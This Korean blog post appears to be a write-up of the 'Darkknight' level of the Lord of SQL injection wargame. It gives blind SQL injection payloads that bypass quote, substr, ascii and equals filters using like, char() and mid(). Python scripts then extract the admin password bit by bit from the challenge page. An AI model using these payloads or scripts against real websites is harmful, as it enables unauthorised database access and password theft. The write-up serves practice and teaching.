Notice
Recent Posts
Recent Comments
Link
«   2024/09   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
Tags
more
Archives
Today
Total
관리 메뉴

D1N0's hacking blog

Lord of SQL injection - Darkknight 본문

Web/Lord of SQL injection

Lord of SQL injection - Darkknight

D1N0 2020. 11. 14. 22:43

문제 풀이

코드를 보면 pw를 직접 비교하기 때문에 pw를 구해야 한다

blind SQL injection을 쓰면 될 것 같은데 잘 보니 '를 필터링한다

그러나 no에 '가 없으니 Goblin문제처럼 SQL injection이 가능하다

substr, ascii, =를 필터링하는 것은 Golem문제처럼 각각 mid, ord, like로 우회 가능하다

STEP 0 - SQL injection 취약점 확인

no=1234 or id like char(97, 100, 109, 105, 110);%23

like와 char을 이용해 필터링을 우회하면 Hello admin을 띄울 수 있다

이제 pw를 찾아보자

STEP 1 - pw 길이 구하기

no=1234 or id like char(97, 100, 109, 105, 110) and length(pw) like [길이 예측];%23

전과 다를 것 없다

코드 역시 비슷하게 짜면 된다

import requests

target = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}

for i in range(100):
    pay = f"?no=1234 or id like char(97, 100, 109, 105, 110) and length(pw) like {i};%23"
    res = requests.get(target + pay, cookies=cookies)
    if "Hello admin" in res.text:
        print("length :", i)
        length = i
        break

길이는 8이 나온다

STEP 2 - pw 구하기

no=1234 or id like char(97, 100, 109, 105, 110) and mid(lpad(conv(hex(mid(pw, [몇 번째 글자],1)),16,2),8,0), [이진수 자릿수],1) like 1;%23

이 역시도 전과 크게 다르지 않다

import requests

target = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}

length = 8

pw = str()
for i in range(1, length + 1):
    tmp = str()
    print("finding", i)
    for j in range(1, 9):
        pay = f"?no=1 or id like char(97, 100, 109, 105, 110) and mid(lpad(conv(hex(mid(pw,{i},1)),16,2),8,0),{j},1) like 1;%23"
        res = requests.get(target + pay, cookies=cookies)
        if "Hello admin" in res.text:
            tmp += '1'
        else:
            tmp += '0'
    pw += chr(int(tmp, 2))
print("pw :", pw)

STEP 3 - 인증하기

step 2에서 구한 pw를 넣으면 클리어 된다

전체 코드

import requests

target = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookies = {"PHPSESSID": "[본인의 세션 값]"}

######get pw length#######

for i in range(100):
    pay = f"?no=1 or id like char(97, 100, 109, 105, 110) and length(pw) like {i};%23"
    res = requests.get(target + pay, cookies=cookies)
    if "Hello admin" in res.text:
        print("length :", i)
        length = i
        break

#######get pw#######

pw = str()
for i in range(1, length + 1):
    print("finding", i)
    tmp = str()
    for j in range(1, 9):
        pay = f"?no=1 or id like char(97, 100, 109, 105, 110) and mid(lpad(conv(hex(mid(pw,{i},1)),16,2),8,0),{j},1) like 1;%23"
        res = requests.get(target + pay, cookies=cookies)
        if "Hello admin" in res.text:
            tmp += '1'
        else:
            tmp += '0'
    pw += chr(int(tmp, 2))
print("pw :", pw)

'Web > Lord of SQL injection' 카테고리의 다른 글

Lord of SQL injection - Giant  (0) 2021.02.15
Lord of SQL injection - Bugbear  (0) 2020.11.30
Lord of SQL injection - Golem  (0) 2020.11.12
Lord of SQL injection - Skeleton  (0) 2020.11.11
Lord of SQL injection - Vampire  (0) 2020.11.11
Comments